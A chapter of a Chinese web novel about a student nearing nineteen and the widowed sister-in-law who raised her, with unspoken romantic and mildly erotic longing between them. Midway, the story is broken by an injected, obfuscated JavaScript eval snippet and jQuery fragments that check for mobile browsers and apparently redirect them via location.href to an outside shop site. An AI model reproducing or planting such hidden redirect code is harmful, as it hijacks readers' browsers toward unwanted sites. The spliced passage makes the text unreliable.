晚上十一点半，陆知秋才回了家，她推开家门，看着客厅的灯还亮着。
城市的雨下了一整天，淅淅沥沥的，淋的她的外套的肩膀湿了一块，头发也湿了，她打了个喷嚏。
声音让屋里的女人注意到了她的回来。
“回来了？”
年上，成熟的女人的声音从沙发那边传过来，轻轻的。
陆知秋扭头，看见温予乔蜷在沙发一角，腿上盖着条米白色的羊绒毯。她手里拿着本书，好像是在看书，但看样子没怎么翻。
是等着回来看自己吗？
陆知秋垂下眼睫，不敢去深想。
“嫂子，你还没睡？”
陆知秋脱下湿了的外套，走到她跟前，问她。
“等你呢。”温予乔听言，放下书，从沙发上站起来。
她穿着件丝质的吊带睡裙，外面罩了件米黄色的开衫，看到陆知秋湿漉漉的头发和衣服，连拖鞋也来不及穿，直接光脚踩在地板上，走到她眼前，
“怎么淋湿了？”
她很自然地抬手拂了拂她肩上的水渍，手指带着温柔的温度，然后抚上她的脸颊，眼里都是陆知秋看不懂的情愫，浓到要滴下水来，化作鲜甜的浆果。
陆知秋看不懂，她本能往后退去。
“没事，就一点。”她说。
温予乔闻言，才收回手，转身往厨房走：“去冲个热水澡，别感冒了。
“我给你做点姜茶喝。”
陆知秋应了一声，开始换鞋，余光不由己地瞥见温予乔在厨房里忙碌的背影。睡裙的布料很薄，灯光透过去，能隐约看见她丰腴的胸部和纤细的腰线。
陆知秋耳朵一红，她赶紧移开视线。
等陆知秋洗完澡出来，姜茶已经摆在客厅茶几上了。温予乔坐在对面的单人沙发上，双腿放在少发上，露出一双白皙的足，上边涂着蔻丹，露出纤细的小腿，肌肤白的像是要透光，抱着膝盖看她。
“喝了。”她说，温温柔柔的。
陆知秋端起杯子，喝了一口，有些烫，又放下。
“今天怎么这么晚？”温予乔问。
“上完最后一节课跟李笑笑她们吃了点东西。”陆知秋又端起姜茶，吹着，“就学校后面那家烤肉店。”
“喝酒了？”
陆知秋顿了一下：“……就一瓶锐澳。”
“锐澳也是酒。”温予乔的语气听不出是责备还是什么，“你才多大。”
“她们说，马上十九了，得练练酒量。”
温予乔笑了笑，没接话。她换了个姿势，把下巴搁在膝盖上，目光落在她脸上。陆知秋被她看得有点不自在，趁烫喝了一口姜茶，果不其然，烫得直吸气。
“慢点。”温予乔说。
静了几秒。
“对了，”她又开口，“你姐姐有套晚礼服，我前几天收拾储藏室翻出来了。改天你试试，看能不能穿。”
陆知秋抬头，问到：“我姐姐的？”
“嗯。”
“酒红色的，料子很好。”温予乔说，“你个子应该能撑起来。”
“我就穿不了了，你姐姐…… ”
“我怕想起来你姐姐。”
她说着说着，又要哭出来了，眼泪在她的眼眶打转，迟迟不落下来，看起来很可怜。
陆知秋不知道该说什么。
她姐姐陆知清去世那年，她才八岁。关于姐姐的记忆已经很模糊了，只剩下一些零碎的片段。
只记得她个子比较高，声音很冷，笑起来很好看。
以及对她妻子的印象。
葬礼那天，姐姐没有留下一点东西，只有一套别墅，钱，还有新婚一年的嫂子。
嫂子温予乔抓着小陆知秋的手，抓得很紧，陆知秋以为嫂子会哭，但嫂子没哭，一滴眼泪都没掉。
怕不是背地里已经哭了很多次吧。
眼泪已经流干了，已经无法在那时候哭出来了。
而且也怕，哭出来的自己，会让身旁又形单影只的小秋哭出来，伤了小孩子的心。
陆知秋垂下眼睫，不用想都是这样子。
“……”
“我穿我姐的衣服……不太好吧。”陆知秋开口说。
“有什么不好？”温予乔语气很平常，“放着也是放着。你上大学了，总得有套正装礼服。”
她从沙发上下来起来，走到她面前。
陆知秋在沙发上坐着，她站着，这个角度她得仰头看嫂子。
温予乔伸手，指尖碰了碰她的耳垂。
“这里红了。”她说，“你一喝酒就这样。跟你姐姐一模一样。”
她的手指有点凉，碰上去，冷的陆知秋抖了一下。
温予乔看到陆知秋被冷的抖了一下，眼睛弯了弯，很快就收回了手，对她来说，她是想要得到陆知秋那样的反应，才会这样做。
她八手指收回了之后，转身往楼梯走：“快去睡吧，明天还要上学。”
丝质的睡裙下摆，随着她的动作飘起来，轻轻扫过陆知秋的小腿，
虽然碰到的是小腿，但像挠痒痒一样搔着陆知秋的心尖，
陆知秋在原地站了一会儿，不知所措，愣了一会，才端着空杯子去厨房。
洗杯子，水哗啦啦的流，碰到杯壁，姜茶的温暖还留在陆知秋的心里。
等到洗完杯子出来，客厅的灯已经关了，只剩楼梯拐角那盏小夜灯还亮着。
她摸黑回到自己房间。
躺到床上的时候，耳朵那块皮肤还留着刚才的触感。凉凉的，有点痒。
陆知秋翻了个身，把脸埋进枕头里。
她想起笑笑今天在烤肉店说的话。
“你嫂子对你真够好的。”笑笑啃着鸡翅，含糊不清的说，“又接又送的，还天天给你做饭。我要是有这么个嫂子，我天天回家。”
张悦在旁边笑着说：“得了吧，人家那是可怜她。”
“姐姐在她八岁就失踪了，总不能不管吧。”
“好歹也是妻子的妹妹。”
“喂。”笑笑踹了张悦一脚，示意她说错话了。
但张悦说的是实话。
陆知清和陆知秋是弃婴，从小长在福利院，等到陆知秋五六岁的时候，陆知清忽然得到了一纸继承书，继承了别墅，还有巨额财产，带着陆知清逃离了福利院。
从福利院到陆家，陆知秋从小都是姐姐陆知清把她带大的，一直带到八岁。
一开始，陆知秋只有陆知清。
七岁的时候，陆知秋结婚，娶了嫂子，那时候她的家庭有陆知秋和温予乔。
再后来姐姐去世，她就只剩下温予乔了。
姐姐只留下继承下来的婚房，和很多财产。
但陆知秋希望，哪怕不要这些财产，只要陆知清还在她身边陪着她就好，和嫂子一起生活，三个人好好在一起生活，就好了。
陆知秋不想谈恋爱，只要姐姐和嫂子可以幸福，她做什么事情都可以。
做一位旁观者，看着幸福，滴下甜蜜的一切。
现在住的这房子很大，三层，有个小花园。是姐姐结婚前继承的。
姐姐去世后，所有人都劝温予乔卖掉别墅，换个小的，还能有些别的钱，自己拿走也好，照顾小秋也好，都可以。
她们也没有指望小秋能被嫂子养大。
才结婚一年，何必被结婚一年的妻子的妹妹绑住手脚呢，天高任鸟飞，海阔凭鱼跃，并不要求嫂子把小秋养大。
可是嫂子她没卖。
她说：“得给小秋留个家。”
“……”
陆知秋盯着天花板，脑子里乱糟糟的，一会儿是温予乔碰她耳朵的手指，一会儿是她转身时睡裙扫过小腿的柔软，一会儿又是张悦那句“人家那是可怜她”。
嫂子。
她是嫂子，是养了她十年的人。
嫂子就是嫂子，是不可以成为恋人的。
温予乔像妈妈，像姐姐，反正……反正不能是别的。
陆知秋又翻回来，盯着天花板发呆。
姐姐陆知清。
她记忆里的姐姐已经很模糊了。
八岁前的记忆像蒙了层雾，记不清，只记得姐姐比较高，总是穿得很整齐，身上有好闻的味道。
姐姐会把她举起来转圈圈，会在她哭的时候给她买冰淇淋，还会在睡前给她读故事书。
然后姐姐结婚了，娶了温予乔。
婚礼那天陆知秋是花童，穿着小白裙子，捧着戒指。
她也记得嫂子那天真好看，白色婚纱，笑起来眼睛弯弯的。姐姐穿着另一套白色婚纱，站在她旁边，牵她的手。
不知道过了多久，她迷迷糊糊快要睡着的时候，敲门声响了。
轻轻的，才敲了两下。
“小秋，我可以进来吗？”
是嫂子。
她惯用的娇娇软软的语气，惹人可怜，湿漉漉的。
陆知秋从床上坐起来，说道：“……进来。”
门开了条缝。
温予乔端着杯牛奶站在外面，走廊的光从她身后透进来，给她整个人镶了层毛茸茸的柔软，看着更加温柔可亲了。
“想着你可能睡不着。”她走进来，把牛奶放在床头柜上，“温的，喝了。”
陆知秋接过来。玻璃杯暖暖的，握在手里很舒服。
温予乔在床边坐下。她换了件睡袍，带子松松地系着。头发放下来了，披在肩上，看起来比平时软。
“小秋。”她叫她，声音很轻。
“嗯？”
“有时候看你，总觉得时间过得太快。”温予乔说，“你刚来的时候，才那么一点高，和豆芽菜一样，”
她用手比划了一下，手腕本来就白的肌肤，被台灯的光一照，显得更加白皙，白得晃眼。
陆知秋笑了：“有这样小吗？”
“可不，”温予乔也笑了，眉眼弯弯，“那会儿还是小崽崽，一开始连我都不接近，后来呀，认我了，就躲在我怀里哭，泪眼汪汪的，不让别人近。”
“转眼间，现在都是大人了。”
“快比我还高了。”
陆知秋喝着牛奶，没说话。
温予乔看着她，看了好一会儿。然后她伸出手，替她理了理额前有点乱的头发。
她的手指很轻，撩起她的发丝，露出陆知秋的眉眼。
温予乔有些看愣了。
随即意识到了自己的失态，放下了手。
“快睡吧。”她说，收回手。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177088|196905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起身的时候，睡袍的领口松了一下。陆知秋看见一道白色的沟，还有镂空的蕾丝花边。
她立刻移开视线，盯着手里的牛奶杯。
“……”
“这就睡。”
温予乔好像没注意到。她走到门口，手搭在门把手上，又回头。
“对了，”她说，“礼服的事，周末吧。你试试。”
陆知秋应了一声“好”。
温予乔在门口迟疑，随即又说：“小秋。”
陆知秋侧头，像养大的小狗晃脑袋：“嗯？”
温予乔看着她，眼神有点复杂，好像想说什么，但又在犹豫。
“怎么了嫂子？”陆知秋问。
“……没什么。”温予乔最后还是摇了摇头，“就是想说，以后晚归的话，记得发个消息。别让我担心。”
她的语气还是一样的温柔似水。
可陆知秋听出了一点别的情感出来。
……委屈？
不可能。
陆知秋把这个念头压下去，
嫂子怎么会委屈。
“知道了。”陆知秋点头，“下次一定发。”
然后门轻轻关上了。
陆知秋关掉台灯，重新躺下。
黑暗里，刚才那一眼的画面挥之不去。
她闭上眼，又睁开。
最后她爬起来，从床头柜抽屉里摸出手机，点开微信。
聊天置顶是“嫂子，720”。
她点进聊天框，手指在键盘上悬了半天，一个字都没打出来。
也不是想发消息，就是想打开看看。
算了。
她把手机扔到床边，重新躺下。
这次她强迫自己什么都不想。数羊，一只，两只，三只……
数到不知道第几只的时候，她终于睡着了。
---
楼下，主卧里。
温予乔背靠着关上的门，慢慢滑坐到地板上。
她抬起右手，看着刚才碰过陆知秋耳朵的那几根手指，看了一会儿，少女的温度和敏//感好像还在手指头上，她把手蜷起来，指尖抵在嘴唇。
窗外有车灯扫过，光线从窗帘缝隙里漏进来，在她脸上划了一下，又暗下去。
“陆知清。”
温予乔在黑暗里说着，
“你看看，你留下的都是什么。”
“但我很开心，你留下了小秋……”
“知清你……”
她说着说着，自己就笑了，
笑得肩膀抖起来，也不出声。
再然后，笑着笑着，眼泪就下来了。
她没擦，任由它流。流到嘴角，咸的。
“连我碰都没有碰过一次……”
“是我哪里不好吗？我长得还算可以啊，身材也好，
“也会床事上讨好女人，”
“可是为什么你看都不愿意看我一眼呢？”
女人捂住眼睛，哭泣出来，泪水透过她的指隙，滴下来，
“既然不喜欢我，就不要娶我……”
哭了几分钟，她撑着地板站起来，回到自己的房间，走到穿衣镜前。
镜子里的人头发凌乱，眼睛红着，睡袍的带子松垮垮的，一边肩膀露出来。
温予乔看着镜中的自己，看了很久。
然后她抬手，手指顺着睡袍的领口慢慢滑下去，挑开黑色蕾丝的罩杯，停在心口的位置，依稀还可以感受到她胸口丰腴的软肉，豆子受了凉，挺立起来，
这里，一想到陆知秋那里跳得很快。
她看着镜子里的眼睛，对自己轻轻，柔软，温和的说道：“温予乔，你完了。”
陆知清除了钱什么也没有留下，温予乔讨厌陆知清，恨陆知清，但她却唯独有一点感谢陆知清，
她留下了她最可爱的妹妹。
乖巧，顺从，听话，漂亮，温柔。
按照现在小孩儿的说法，冷脸萌。
温予乔喜欢的喜欢不要，养育她的十年，完全不出于责任和麻烦，反而是溢出心房的喜爱。
说完，她转身，走到衣柜前，打开最里面的那个抽屉。
抽屉里很空，只放了一个相框。照片是婚纱照，她穿着白纱，陆知清也穿着白色的婚纱。两个人都在笑。
温予乔拿起相框，用手指擦了擦玻璃表面，陆知清的脸还是那样清冷而高不可攀，在灯光的反射下几乎看不清了。
“……对不起啊，我以前就没有想高攀你，现在也不想高攀你。”
“本来还想要你回来看看我是怎么幸福的，但是你在那边也没有办法了吧。”
“对不起啊。”她说，“我可能……等不下去了。”
她把相框扣在抽屉里，关上抽屉，关掉灯，接了杯热水，然后吃下安眠药，才得以入睡。
房间陷入彻底的黑暗。
窗外，雨又开始下了，淅淅沥沥的，打在玻璃上，像谁在轻轻敲门。
温予乔入睡前想的最后一句话是，
陆知清，我或许没有那样讨厌你。
小姑子是亡妻留下的妻子。
我很谢谢你呢，为我留下陆知秋这样的宝贝。
……第一次为你不能回来而感到庆幸。